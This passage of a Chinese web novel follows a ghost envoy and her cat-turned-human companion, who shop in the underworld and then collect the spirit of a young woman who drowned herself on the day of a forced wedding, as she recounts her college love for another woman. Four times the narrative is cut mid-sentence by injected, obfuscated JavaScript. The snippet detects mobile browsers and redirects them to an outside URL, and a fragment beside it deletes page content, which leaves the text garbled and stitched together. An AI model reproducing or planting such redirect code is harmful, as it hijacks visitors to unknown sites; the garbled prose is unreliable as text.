这一忙起来,天就黑了。两人吃完收拾完,已经十点多了。 到了冬天,清一的睡眠更多了。他靠在沙发上迷迷糊糊地打着盹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“凌霄神君,我叫厨房备了好酒好菜,咱们不要辜负良辰美景呀!今晚不醉不归!” 此刻的凌霄心中正盘算着怎么找到苏月现的地址,把他的傻弟弟接回来,根本没认真听他在说什么。 “什么良辰美景?你我之间有什么良辰美景?” 鸦影不想再聊这个话题,拍拍手,有气无力的说:“……上菜吧。” 上界的神仙们虽已褪下肉体凡胎,但仍有口腹之欲,一顿不吃就饿得慌。 下界的鬼魂们不需要吃饭就能活得很好,他们从不讲究吃食。不过有些鬼依然保留着生前的习惯,到时间总要吃上一顿。 鸦影就是这样的。 今天凌霄来了,他还特意派乌鸦去给厨房传讯多加两个菜,妥妥是最高级别的待遇。 侍从们端着各色菜品鱼贯而入,不一会儿便摆满了桌子。虽称不上满汉全席,但也是一场美食盛宴了。 鸦影见这满桌佳肴心情大好,拿出了他的陈酿,给自己满上了一杯:“我代表下界,欢迎凌霄神君的到来!” 凌霄见状不再推脱,也倒满酒:“阎王客气,今日多有打扰。” 二人一饮而尽,宴席开始。 凌霄的筷子夹住小菜,顺手放到了鸦影的盘子里,又去夹第二块,放入自己的口中咀嚼起来。 鸦影惊讶地看着凌霄神色平淡的脸,后者还没觉出问题,倒是这炙热的视线引起了他的注意。 “怎么了?” “你。”鸦影指了指自己的盘子,“你是习惯了吗?” 凌霄这才发觉不对劲,连忙道歉:“抱歉,习惯照顾小孩了。哎,看见您总能想起来清一小时候。” “你把我当小孩?我还比你大了几百岁呢!” “你这脸实在……” 按年龄算,凌霄该喊鸦影一声哥,但他的生长停止在了一百二十岁,仍是一张正太脸。 鸦影气不过,在后来客套的推杯换盏中灌了凌霄不少酒。直到他脸蛋通红,路都走不直,才心满意足的派黑白无常把他送了回去。 上下两界都说,这阎王孩童脾气。在此处吃了亏,要在别处找补回来。 有没有可能,他本就是一个孩童,只不过被揠苗助长了呢? 当日,清一见凌霄没来找自己,就顺理成章地住在了苏月现家。 苏月现提出两个人交换位置,让他去床上睡。毕竟他大病初愈,还需要休养。 清一却以不能让女孩子凑合的理由坚决拒绝了。 夜间,苏月现辗转反侧,满脑子都是睡在沙发上的清一。 她想,按前生算,她是他的主人。按今生算,她是他的搭档。按年龄算,她是他的姐姐,她不应该把受了重伤的弟弟孤零零地扔在沙发上。 苏月现终于给自己找到了一个合适的理由,起身下床,悄声来到客厅。 清一熟睡着,呼吸平稳。月光照到他白皙的皮肤上,仔细去瞧,能发现他脸上的绒毛在闪着银光,就像猫咪色泽光亮的皮毛。被蹂躏得不成样的被子,一半在他身下压着,一半抱在怀中。多出来的那一截腿,孤独的空在了外面。 苏月现箭在弦上却犹豫了,还是没忍心叫醒他。走上前想要给他掖个被角,刚伸出手便被抓住了手腕。 “姐姐,做什么?”清一转醒后的声音与平日大不相同,低沉而沙哑。 苏月现被抓了个现行,尴尬说道:“我……我来看看你睡得怎么样。” 她知道他听力灵敏,为了走路没有声音,特意赤脚前来,结果还是被发现了。 “嗯,本来挺好的,结果被你吵醒了。”清一慵懒地打了个哈欠。 “那,那你继续睡吧!” 苏月现企图抽回手,无奈他抓得太紧:“你放开啊……” “苏姐姐大半夜不睡觉光着脚来找我,就是为了把我吵醒吗?” “我们鬼不需要睡觉……” “哦,这样啊。” 今夜的清一胆子格外大,他一使劲,把她往怀里带了一下。苏月现眼疾手快,用另一只手撑住了沙发背,这才没直挺挺地倒进他的怀中。 可还是太近了。 她的面前是他精致的脸,锋利的眉,如同夜色中静默的利剑。漆黑的瞳中,仿佛藏着无底暗河,幽暗不明。他的下颚线清晰流畅,滚动的喉结之下,是隐约可见的锁骨。 苏月现的呼吸急促起来,神情慌乱,一时间不知道该看哪里,索性闭上了眼。 清一的眼中闪过一丝得意,笑着道:“这么紧张做什么?” “我哪紧张了!” “那你看着我的眼睛说,你到底是来干嘛的。” 她为了证明自己,只好睁开眼睛。 苏月现再次对上了清一的眸,她在他黑漆漆的瞳中找到了自己的影子。 他在蛊惑着她,说出他想要的答案。 “沙发不舒服,跟我进屋里睡吧。” “姐姐不是不需要睡觉吗?” “可是你需要啊。” 清一挑眉,松开了握着苏月现的手。 她失去了禁锢,赶忙站起身后退了一步,捋了捋垂落下来的碎发,装作淡定的模样。 但红透的耳尖早已出卖了她。 苏月现两辈子加一起都没有跟男人离得这么近过。 清一站起身,走到她面前,缓缓道:“姐姐,记得穿鞋。” 他说完,转身进了屋子。在背过去的瞬间,长舒一口气。 好紧张,还好耍帅成功了! 窗台边的喜林草含苞待放,风吹过,花苞与枝叶碰撞,散发出阵阵香气。 清一陪着苏月现在家躺了好几天,他发现苏姐姐跟生前一样,是个超级大宅女。最大的运动是站起身走到窗台处浇花,再走回沙发前坐下,举起手机继续旁若无人的打麻将。 两个人冒着粉红泡泡的氛围,在那个夜晚后戛然而止。这几天说的话,超不过十句。 曾经做猫的时候还能蹭蹭手心舔舔脸撒撒娇,现在化成人了,倒要谨遵男女授受不亲的原则,做不了这些了。 清一很苦恼。 苏月现从做完那次鱼之后就犯了懒,这几日都是清一自己从冰箱中扒拉出不知道什么时候买来的面条,用热水煮了煮,洒点盐和酱油凑合吃的。 他正值壮年,一次吃得多,那些陈年存货顶不了多长时间,早就见底了。 在清一吃完最后一把面条后,他终于忍不了了。 这些天的清汤寡水他早就吃够了!他要吃肉!很多很多肉! 清一收拾完碗筷,迈着鬼鬼祟祟的步伐,一点一点蹭到了苏月现身边。 她像察觉不到似的,仍专注地看着手机。 清一对着苏月现狂眨那双漂亮的眼:“苏姐姐~” “嗯?”怎料她头都不抬,不给一点眼神。 “我饿了。” “那就吃啊,冰箱里有什么吃什么。” “都吃完了。” “哦,吃的挺快啊,谢谢你帮我解决掉。” “可是,我没吃饱,我想吃肉……” 随着手机传来“清一色”的提示音,苏月现笑了起来,满意的点点头。 清一趁着她心情好,大胆提出要求:“我们出门逛逛吧?我来了这么久还没有逛过你们这。” 苏月现关掉手机,伸了个懒腰:“有什么可逛的,跟上界、人间都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776276|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样啊,普通城市而已。” “哎呀~” “好啦!”她瞥了一眼卖力撒娇的清一,大手一挥,“我去收拾一下!带你出门买肉吃!” 苏月现这次穿了一件粉色的休闲西装外套,内搭黑色连衣裙,脚踩一双马丁靴。与往日仙气飘飘的打扮不同,这一身搭配得格外帅气。 许是刚刚赢了麻将心情好,竟穿上了亮色的衣服。衬得当时急匆匆来下界,根本没换衣服,穿个棉质白卫衣就来见她的清一更像给大小姐拎包的保镖了。 不过他并不在意,能给苏姐姐当绿叶是他的荣幸。 苏月现带清一来到了他们下界最热闹的一条商业街。 路中间是小摊,两旁的高楼为各大品牌的商场。游客络绎不绝,时不时还会有摆渡车开过,为逛累的鬼们提供便利。 “怎么样,还行吧,我说啦没什么区别。” “呃,是没什么区别……就是这些鬼长得实在是……” “哦,他们怎么死的,到了下界就是什么样。”说着,从她身边路过一个头顶插把菜刀的女人,“喏,这个女鬼是被砍死的。还有那个——” 路中间有位卖冰淇淋的老板,全身肿胀,面色发白。给客人挖冰淇淋时,浮肿的手触碰到勺子相互用力后会流出些汁水来。那买东西的鬼也不介意,付了钱后笑呵呵地接了过去,张开嘴血红一片,不见用来舔冰淇淋的舌头,而是囫囵塞进嘴里。 “那老板,溺水死的。那买东西的,拔舌头失血过多死的。” 清一光听着苏月现的描述,鸡皮疙瘩起了一层又一层。 “就,就没点正常的吗?” “你在下界要什么正常?”苏月现用看白痴的眼神看着他,“非正常死亡的才会来这吧。” “你怎么还这么漂亮呀?”清一这话说到苏月现心坎里去了,没有一个女孩不希望被夸奖漂亮。 她语气温柔起来:“我心脏处原来有个疤,不过被修复了。你知道吗,这个世界还有一种职业叫修复师。从事这个职业的人,生前基本都是遗体修复师,或者跟美术相关的工作。他们会给这些鬼,修复受损的地方。但由于人员稀缺,又是技术活,所以费用很高,一般的鬼支付不起。我嘛,是公职人员,本身就有折扣,又赚得比较多,所以去做了修复。” 苏月现低头捂住心脏处,喃喃道:“不过我这个地方,修不修复没什么区别,平时也看不到。但我还是想美美的,做个完整的鬼。” “在我眼里,你一直都很完美。” 清一说得诚恳,苏月现抬头对上他亮晶晶的眼眸,莞尔一笑。 给苏月现哄高兴的结果是东西随便挑。 她带清一走到了商业街尽头的一个市场,让他亲自选购想吃的东西。清一毫不客气,好奇心驱使他每个摊位都要逛上一逛。 在外面游荡了许久,买完需要的东西后,两个人没再去别处,直接回家了。清一负责把需要冷冻的肉类放进冰箱,苏月现累得坐在沙发上锤胳膊。 清一收拾完,见她没精神的靠在那,贴心的去吧台倒了一杯水,给她端过去。 苏月现自然地接过,杯口刚触碰到下唇,一个纸人凭空出现。 她放下杯子,将手附在心脏处,低头行礼。 纸人手舞足蹈地开始说话:“苏苏啊,帮死神一个忙吧~他们去部门聚餐集体吃坏了肚子,有几个人尚能继续坚持,分派之后人手还是不够,北州区无人管理,又刚好来了两张新名片,实在是没办法啦~辛苦你跑一趟吧~干完这个活给你加薪!名片打开门就能看见了哦,请立刻前往吧!” 它说完话,便在空中自燃了。 清一配合的打开门,取来了两张名片—— 方今昭,女,25岁,死亡时间十四点二十三分。 祝余,女,25岁,死亡时间十四点二十分。 苏月现叹口气,随即换上了平日里不苟言笑的模样。 “休假结束了,走吧,去北州。” 15.淡淡百合香(1) 苏月现带着清一从轮回镜出发,马不停蹄地赶往北州。 两人落地的位置,是北州地图上一处名为晴岛的地方。 这是一个海边高档度假社区,地产商将这块不大不小的地圈起来,盖上一些房屋建筑。有用于长久居住的楼房别墅,也有供游客暂住的酒店民宿。还有图书馆、美术馆等作为打卡地,吸引人们前来游玩。 但晴岛并非开放性景点,不允许免费进园参观,游客必须要在网上预定园内酒店或购买美术馆门票后才可进入,长期在这居住的居民,有特别的身份识别卡片。 这个社区最出名的是他们建造的海边城堡。 纯白色的简欧建筑,背后是蔚蓝的大海,脚下铺展着金黄的沙滩,粉玫瑰绚烂盛放在城堡周围,像极了动画片里公主王子的梦幻居所。 城堡内设有一个豪华的无柱式宴会厅,经常用来举办各类时尚活动。同时也是一块适用于西式婚礼的场地,尽管租赁价格不菲,预约还是常年爆满。 总的来说,能来此地消费的人,非富即贵。 正值午后,温暖的阳光洒向栋栋洁白的建筑。远处海天一线,不时有轮船缓缓驶过。三两游客在社区里散步拍照,面包店内散发出淡淡的小麦香气,醇香扑鼻,好不惬意。 纵使苏月现在人间游荡了这么久,也是第一次来这样的地方。 其实要是想看海,出了社区往前再走两百米就有免费的沙滩。只不过人多,会拥挤一些。 选择来这个社区游玩的客人,无非就是有点闲钱,图个清净。 苏月现拿出手机查了一下这个地方的房价,显示出的那一串零吵到了她的眼睛。 “这儿可真不错,简直是世外桃源。”清一感叹道。 苏月现把手机屏幕举到他面前:“价格在这,当然不错。” 清一看得眼珠子都快掉出来了,他这辈子还没见过这么多位的数字呢。 苏月现对他的反应很满意,默默收起手机,催动体内的怨气,感应着鬼魂的位置。 什么桃源不桃源,工作才是第一位! “她在海边,走。” 苏月现带着清一抄近路绕开了纷扰的人群,径直往树林的方向走去。 他们七拐八绕,终于来到了沙滩边。果然,那里站着一位全身湿透的女鬼。她披散的长发一缕一缕贴在背上,白色纱裙的下摆长短不一,好像被暴力扯烂了,正在不停往下滴水,没一会儿就形成了一个小水洼。她站在一棵大树后,鬼鬼祟祟地盯着沙滩某处。 清一想要上前与她搭话,苏月现伸出手臂拦住他,摇了摇头,无声地说了句:“别动。” 她顺着女鬼眼神的方向,看到了沙滩远处被警戒线包围的一个地方——一位身着白色纱裙的女生被穿着红衣、大约五十多岁的中年女人搂在怀里,她情绪激动的不停拍打着她的脸。然而怀中的女生没有任何反应,如同一个破败的洋娃娃,任人摆弄。另一位女生穿了一身黑衣,医生正骑在她身上卖力的做着心肺复苏。两名警方在跟一对情侣做着对话,看样子是他们报的案。 苏月现拿出名片看了一眼,上面的死因均写的自杀。可见这个案子没什么需要动脑的地方,大概率不会调查太久。 女鬼似乎是看紧张了,无意识地咬起手来。苏月现这才注意到她大拇指的指甲近乎秃了,加上被海水长时间浸泡,死气沉沉地陷在肉里。女鬼仍不知疼痛的啃咬着,另一只扶着树干的手,在轻微抖动。 这样的肌肉痉挛,属于无意识行为,多半不受身体控制。看来,她是个很容易焦虑的人。 随着黑衣女孩被推上救护车,苏月现手中一热,写着祝余的名片自燃了。她心中诧异,这人竟然在下了死亡通牒后被救回来了。 女鬼这才长舒一口气,把大拇指从嘴边拿了出来。苏月现再次看去,本该长着甲片的地方正在慢慢往外渗血。 “方今昭,25岁,溺死,是你吧。”她冰冷的声音响起,念着宣告死亡的判词。 女鬼循着声音转过身来,黑葡萄似的眼珠氤氲着水汽,忽闪两下便落下泪。 “是……是我。” 她好像太冷了,声音断断续续,开口回答问题时能清楚看见抖动的牙齿。 苏月现向清一使了个眼神,后者立马读懂,脱下临行前套上的风衣递给了她。 方今昭谢着接过,披在了身上,垂着头,一语不发。 “我是阎罗殿的鬼差苏月现,由我来带领你走入地狱。方今昭,你知道自杀是一种罪吗?” 方今昭抬起眼皮偷瞄一眼苏月现,对上她冷漠的表情后又错开眼神,哆哆嗦嗦回复道:“知……知道。没,没想到,真的有鬼……” “嗯,不仅有,很荣幸你还成为了鬼~”清一站在一旁说着风凉话,“唉,活着不好么?” 他经历一遭生死,现在惜命的很。 “不好。” 或许是这句简短,又或许是她暖和了一点。方今昭将这两个字说得铿锵有力,她似是怕清一没听清,又重复了一遍:“不好。” 苏月现听得皱眉,到底经历了怎样的事情,能让一个正当年华的女孩选择死亡。 一切谜题,在渡河时,皆有答案。 “好了,跟我走吧。” “不行。” 方今昭说完这句话,从脚底生出了黑色的雾气,如藤蔓生长般蜿蜒向上,直到将她全身都笼罩住,“我还不能走。” “苏姐姐,这是,怨气?”清一疑惑地问。 “嗯,看来是。” 苏月现没想明白。 自杀鬼,哪来的怨气?已经对生活失去期待,走向绝望的人,哪来的怨气? 而且,刚才她身上,还没有这些黑雾。怎么短短几分内,生出了这么浓重的情绪。 苏月现问:“为什么不行?” “我要看着阿余平安活下来,我才能放心走。” “阿余……”她在口中反复念叨着这个名字,想起了刚才那张消失的名片,“祝余?” 难道是因为这个人被救活了,她才有了怨气? 方今昭在听见这个名字时,眼睛瞬间亮了一下。随即又将这份情绪压了下去,恢复了寻常模样。 清一敏锐地捕捉到了她的变化,大胆问道:“她是你什么人?” 方今昭沉默,显然是不想回答。 脑中浮起了一个猜测,苏月现猛的抓住了清一的袖口,他回望过去点点头,两人暗地交换了一个眼神。 “她是你的女朋友,你们是情侣,对吗?” 关系被明晃晃的戳穿,方今昭浑身紧绷起来,那双黑亮的大眼睛透露着防备。 苏月现这才打量起她的装扮,这条下摆被暴力撕扯的白色纱裙,看其材质并非平日上街的衣服。她蹲下身,拎起一角仔细观察。 方今昭后撤了一步,持在苏月现手中的裙角在拉扯中掉落,只余下一层白纱。在这之上,镶嵌着几颗晶莹的碎钻,看起来价格不菲。 还有刚才抱着她尸体哭泣的女人,虽然不记得穿了什么,但是颜色异常喜庆。 苏月现心中了然,站起身,语气中尽是笃定:“你今天在那个城堡里结婚吧,但不是跟祝余。” 方今昭的眼眶又红了,豆大的泪珠簌簌地往下流。 看来是猜对了。 喜事变丧事。 能在城堡里举办婚礼,必定是富贵之人。有钱人最讲究面子,得知自己的女儿“不走正道”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786668|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父母肯定着急,就盲目地采取一系列措施,比如强制让她嫁人。 而她呢,明明喜欢女生,却被父母安排嫁给了男人。悲痛之下,选择轻生。 苏月现看向方今昭的表情柔和了许多:“别在这站着了,换个地方说话吧。放心,在怨念消除之前,我不会动你的。” 说着,她拿出建房纸贴在了一旁的树上。空间顿时扭曲起来,将他们仨拉入了屋子中。 苏月现进屋给方今昭找了一条新裙子,把她身上那件破烂婚纱换下来,抬手用鬼火烧掉了。 她说:“这种晦气东西,没必要留着。” 清一则去吧台倒了一杯热水递给她,又拿了条毛巾让她擦擦滴水的头发。 方今昭的眼眶仍然红红的,但她的手不再抖动,显然从焦虑、防备的情绪中脱离了出来,逐渐放松了心情。 苏月现问:“饿了吗?” 方今昭愣了一下,这才注意到自己空荡荡的肚子。 四点就被拉起来化妆,忙活了一上午,死前连口饭都没吃。 按理说鬼是感受不到饥饿的,但她刚死不久,还没有从人的身份中脱离出来。 “有,有点。” “清一——” “苏姐姐!”清一拿着饭勺从厨房中走出来,“怎么啦?” 苏月现看他这样子,心想还挺自觉,但还是顺嘴问了一句:“你在干嘛?” “煮面啊,我饿了,你们吃吗?” 苏月现看了眼身旁明显有些不好意思的方今昭,笑着道:“我们也吃,多煮点吧。” 清一用手比了个OK,转身进了厨房。 不一会儿,三碗青菜汤面摆在了桌面上。香油的味道随着蒸腾的热气在屋中弥漫,让人胃口大开。 清一还炒了一盘藕。酸酸甜甜,刚好伴着面条吃下去。 苏月现疑惑:“你什么时候学会的?” “跟凌霄学的,味道怎么样?”清一一脸期待的等待着她的评价。 “还不错。” 他得到了苏月现的肯定,扬起了一个灿烂的笑容,低头猛吸面条。 “你们是一对吗?”方今昭投来羡慕的眼神,“感情真好啊。” “我们是搭——” “我们是关系非常好的朋友。” 苏月现抢先一步回答,清一的眼睛瞬间亮了。 他没想到她对这段关系的评价如此之高! 清一赶忙搭腔:“没错没错!你也会有的!” 方今昭苦笑着低下头,没有回答。 苏月现伸出筷子,给她夹了一片藕。 “尝尝。” 方今昭夹起那片藕放进嘴里,嚼着嚼着再次落下泪来。 苏月现赶紧塞给她一张纸:“怎么了?不好吃吗?” “好,吃……”方今昭哭得一抽一抽的,胸脯不停起伏,往上倒气。 这种状况下再吃东西容易呛到,苏月现把碗推到一旁,扶着她往客厅走。清一见状三两口解决剩下的面条,也跟着走过来。 “你可以告诉我为什么哭吗?” “除了阿余,你是第二个给我夹菜的,我,我太感动了。” “你也太容易被感动了吧。” 清一坐在了苏月现旁边,两人的胳膊紧紧相贴,惹得他小鹿乱撞。但苏月现的目光都在方今昭身上,根本没注意到这些细小的动作。 “阿余也是这么说的。”方今昭手中的纸巾被她攥紧又放开,褶皱得有些破了。 苏月现看着她的小动作,觉得时机差不多了:“可以讲讲你们的故事吗?” 方今昭沉默了一会儿,再次松开了纸巾,默默地捋平。 她说,她们相爱了六年。 16.淡淡百合香(2) 方今昭第一次见到祝余是在大学第一节课的课堂上。 由于他们班级人少,学校将两个班合并到一个教室里一起上专业课。 方今昭从小到大都是一个乖孩子,座位永远在第一排,上课从不迟到。她早早就来到教室占据了讲台下的黄金中间位,在这个惯用电子产品记录的时代,她却带了笔和本。 同学们陆续来到教室,想都没想往后排走,最后只空出了第一排的座位。除了方今昭,没人坐在这。 她倒没觉得尴尬,反正从小到大,都是这样的。 上中学时,母亲去学校找到老师,给她申请第一排单独的位置。为此,父亲给学校的操场投资了一块新草皮。 那段时间,方今昭在学校里有个外号,叫“操场姐”。起初她很在意,每次听到有人这样叫她都会小声辩驳,却越说越急,越说脸越红,最后含泪跑走。 后来她习惯了大家对她的指指点点,学会装作听不见,中学期间没有交到一个朋友,从来都是独来独往。 上大学后,父母本想给方今昭办走读,但在她的强烈坚持下,以年级前十的成绩作为交换,妥协住校了。 但她没有参加军训,成绩是拜托老师直接填上的。不出所料,在正式开学之前,学校翻修了老旧的图书馆。 因此,方今昭是最后一名入学的学生,她带了一行李箱化妆品,到宿舍就分发给室友们,企图换取一个好印象。 但今天来上课,还是没有人跟她坐在一起。 方今昭没办法,如果不是前十名,她就不能住校了。变成走读生意味着,更加没有朋友。她想,坐在第一排上课,怎样都会听得更清楚些吧。 已经到了上课时间,老师走下讲台去关教室门,在合上的最后几秒,一只拎着包子的手不顾被夹的风险,突然伸了出来。白色塑料袋上透着水汽,显然是刚从食堂买回来的,还热着呢。 随后,挤进来一位穿着一身黑衣、绑着马尾的高个女孩。 她吸引了全班同学的注意,包括方今昭。 在她眼中,她很瘦,但肩膀宽,看起来颇有力气。走路时,头顶上的马尾一晃一晃,像催眠师使用的钟摆,看得人眼晕。 黑衣女孩在全班的注视下,坐在了方今昭身边。 老师开始念ppt,学校老旧的空调发出低沉的嗡嗡声,上早课的同学们昏沉的睡着,方今昭的笔记本不时被凉风吹起,她靠过来在她耳边偷偷道—— “hi,方今昭,我叫祝余。” 方今昭闻声回头,对上了一双上挑的眼睛。 “你,你怎么知道我的名字?” “这写着呢。”祝余扬起下巴,手指点了点她笔记本的封面:“你的名字真好听,我想起了一句诗,今朝有酒今朝醉。” 方今昭尴尬笑笑。 罗隐写下这句诗时,想来是非常自由的。他诗中表达出的洒脱与旷达,很不巧,她身上都没有。 方今昭是一个漂亮的提线木偶。她目前的人生,都在为她母亲而活。 母亲说她乖一点,父亲就会开心,她就会开心。 方今昭不愿再看母亲流泪的眼,于是听话照做。 “两位同学,请保持课堂纪律。” 老师严厉的声音从头顶传来,方今昭很少被外人批评,脸皮薄,立马红着脸低下头。食指不自觉地去扣大拇指上的倒刺,一下又一下,不知道疼似的扣出血来。 倏地,一只纤长的手伸过来盖在了她的伤口上。从掌心透出的暖流,柔和了她僵硬的躯体。 方今昭猛然抽出手,瞪大眼睛,向旁看去。 微斜的光线打在祝余茶色的眼瞳里,澄透干净。她吐了下舌头,无声道:“没事,别紧张。” 9月13日,这个盛夏的早晨,方今昭收到了人生中的第一句安慰。 来自一个初次见面的陌生人。 后两天没有安排专业课,大家各自奔赴自己的选修,方今昭一直没再见到祝余。 周四是每星期的查寝日,由于大一的新生们还没有开始选班干部,所以本次检查由导员和从学生中选出的助理负责。 寝室门准时被扣响,室友们都在午休,只有方今昭坐在椅子上复习之前学习的内容。 她快走两步,打开了宿舍门。在导员含笑的目光后,是祝余惊喜的脸。 学生助理……是她。 导员先迈了进来,祝余紧随其后。她路过方今昭身侧时,偷偷勾住了她的手。大拇指不经意划过伤口的位置,像是在检查。 方今昭的耳尖被她这动作摸得通红,碍于室友们还在休息,她不好出声制止,任由祝余扣住她的手指,反复抚摸着。 她指腹的皮肤偏硬,滑过伤口处的嫩肉时,带出些丝丝拉拉的痛感。 方今昭没觉得有多疼,反而有些痒。她叹出一口气,偷偷抬眼去看祝余的脸。 她跟在导员身后,另一只手拿着A4大的硬夹,上面记录着各个寝室的卫生分数。她一脸认真的听导员交代检查细节,时不时点头表示回应,俨然一副好学生的模样。仿佛私下里做这些小动作的根本不是她,一切都没有发生,只是方今昭的臆想。 但指尖传来的痛,又在提醒着她,这都是真实的。 这个坏心眼的祝余,正在触碰着她最脆弱的软肉。 待检查完后,两人准备离开。祝余潇洒转身,马尾晃动,带起一缕含着木质香的风。方今昭指尖的温度顿时消散,她扭过头去看她一闪而过的侧脸,祝余始终没有给一个多余的眼神,眸色淡淡地走了。 方今昭心底浮起一丝失落,还没等她调理好情绪,放在桌面上的手机亮起了屏幕。 她拿出一看,是一条添加好友的请求。 方今昭一眼认出这是祝余。 添加成功的下一秒,对方发来了一条消息。 【鱼:伤口恢复得很快,以后不要再扣手啦~】 【昭昭:你怎么知道这是我的微信?】 【鱼:这个年级,只有你一个昭昭呀。哦对,刚才导员在身边,我又是来检查的,不太方便看你,抱歉,下次一定好好跟你说话。】 【鱼:我记得你的宿舍号了,以后可以去找你玩吗?】 【鱼:下次上课我还可以坐你旁边吗?】 祝余一连串发来了好几条消息,方今昭的目光停留在她最感兴趣的那句话:只有你一个昭昭呀。 其实她理解在工作中不好明目张胆的分心,失落归失落,并不怪刚才祝余的冷漠。但对方还是贴心的跟她解释原因,这让方今昭的心一下子变得暖洋洋起来。 后面接连几条的邀请,更让她泡一种难以言喻的甜蜜中。 方今昭没有朋友,宿舍里的几个人最多称为室友,谈不上所谓的闺蜜。目前只有祝余一个人,对她频频散发着善意和名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我,我不太清楚。”说完,方今昭丧气地垂下了头。 “你发消息问问她啊!而且这几天她都不来咱们寝室了!昭昭,你可以帮帮我吗,我想跟她聊天。” “你们不是加了微信吗?” “哎呀,微信上聊天多干啊,我想跟她face to face!” “……”方今昭顿了下,小心翼翼的问,“你不会是想看脸吧……” “bingo!” “好了,同学们安静,上课了!” 老师关上了教室门,点开了教学ppt。 罗晴还想说些什么,方今昭不想继续听下去,便以好好听课为由回过身去,仰头看着大屏幕发呆。 其实她也很在意,为什么祝余突然不来她们寝室了,为什么突然不坐在她身边了,为什么突然不说话变得冷淡了。 她自认为她们是好朋友,但她不敢问,怕得不到自己想要的答案。 同时,她也是开心的,她并不希望祝余常来她们寝室做客。 方今昭有私心。 明明是她先认识的祝余,凭什么室友能如此大言不惭的问祝余的动向。 她不来寝室也是好的。 祝余就该是她一个人。 17.淡淡百合香(3) 下节课是体育,方今昭把笔记本给罗晴带回宿舍,自己去了操场。 凑巧的是,祝余也在,她跟几个人站在主席台上,时而手舞足蹈的,不知道在做些什么。 体育老师吹哨,点完名后让大家做准备活动。方今昭的眼睛长在了远处的祝余身上,动作做得要多敷衍有多敷衍。老师见她魂不守舍的样子高声提醒,方今昭没有听到,还是旁边的同学好心拍了拍她才回过神来。 一个被外人批评就会脸红的人,现在没反应也不在意了。 待大家准备得差不多后,老师提出要测一次八百米。同学们顿时怨声载道起来,纷纷说道能不能下次再测,有个心理准备。 结果就是,老师以心理准备多久都没用的理由强硬拒绝了,并让所有人立即站到跑道上。 随着口哨声响,同学们在操场上一圈又一圈的跑起来,喘着粗气,像一只只正在犁地的牛,这跑道就是他们辛勤劳动的土地。 方今昭是个体育很差的人。 没有任何意外,她跑到了队伍的最后一名,甚至被几个速度快的同学套圈了。 操场靠近主席台的位置,有一块胶皮翘了起来,学校还没来得及修补。老师在大家做准备活动时提醒他们不要踩上去,容易崴脚。 然而方今昭的注意力根本不在课堂上,她当然没有听见老师的叮嘱。跑步时,准确无误的一脚踩了上去,胶皮掀起,她忙着躲闪,左脚绊右脚,扑通一声倒在了地上。 前面比她快的同学已经跑出去很远,根本没听到摔倒的声音。远处的体育老师不经意回头,发现了倒地的方今昭,发出一声惊呼。随后招呼几名跑完坐那休息的同学,往出事的地方赶。 倒下的瞬间,方今昭只觉得痛,哪里都痛—— 刚才的危机时刻,她用手肘撑了一下地,才不至于摔个狗啃泥。但橡胶跑道上布满了密密麻麻的突起,这一下毫无缓冲的接触,也让她的胳膊受到了不少伤害。 这时,方今昭在满天尘土味中闻到了一缕淡淡的木质香。 下一秒,从身侧处投下了一块阴影将她包围住,焦急的声音随之响起:“昭昭,没事吧!” 方今昭猛然仰头看去,是祝余。 阳光模糊了她的脸,但她仍能看清她的表情—— 祝余的眉头拧成了一个疙瘩,嘴角向下撇着,脸上的着急与关心体现的淋漓尽致。 “昭昭?说话啊!” “阿余,我没事。” “脚看着应该是没折,能站起来吗?”祝余纤长的手指轻搭在她的脚踝处,目测是能一把握住的程度。她不敢使劲往下按,生怕弄疼她。 “我试试。” 方今昭用手撑着地,将歪在那的左脚摆正。这个平日里再平常不过的动作,疼得她猛吸几口凉气。随后,祝余递过来她的小臂。方今昭顺势将左手搭了上去,再猛撑一下地,靠着完好的右脚站了起来。 她刚想往前迈一步,左脚一吃力,便传出一阵钝痛。 方今昭的眼眶中顿时噙满泪花。祝余看她红着眼的模样,立马蹲下身。 “上来吧,我背你。” 方今昭不太好意思,虽然她的肩看起来很宽很有力量,但是自己的体重多少有些不方便。 似是想到了她的顾虑,祝余轻松道:“没事,不用想那么多,上来吧。” 方今昭听后,呼出一口气,搭上了她的肩膀,将全部体重压了上来。祝余把手放到她的大腿处抬起,心中再三确认没问题后站起身。 方今昭的世界模糊一瞬,紧接着呼吸的空气感觉清新了不少。 她在心中感叹着:这就是一米七五的世界吗。 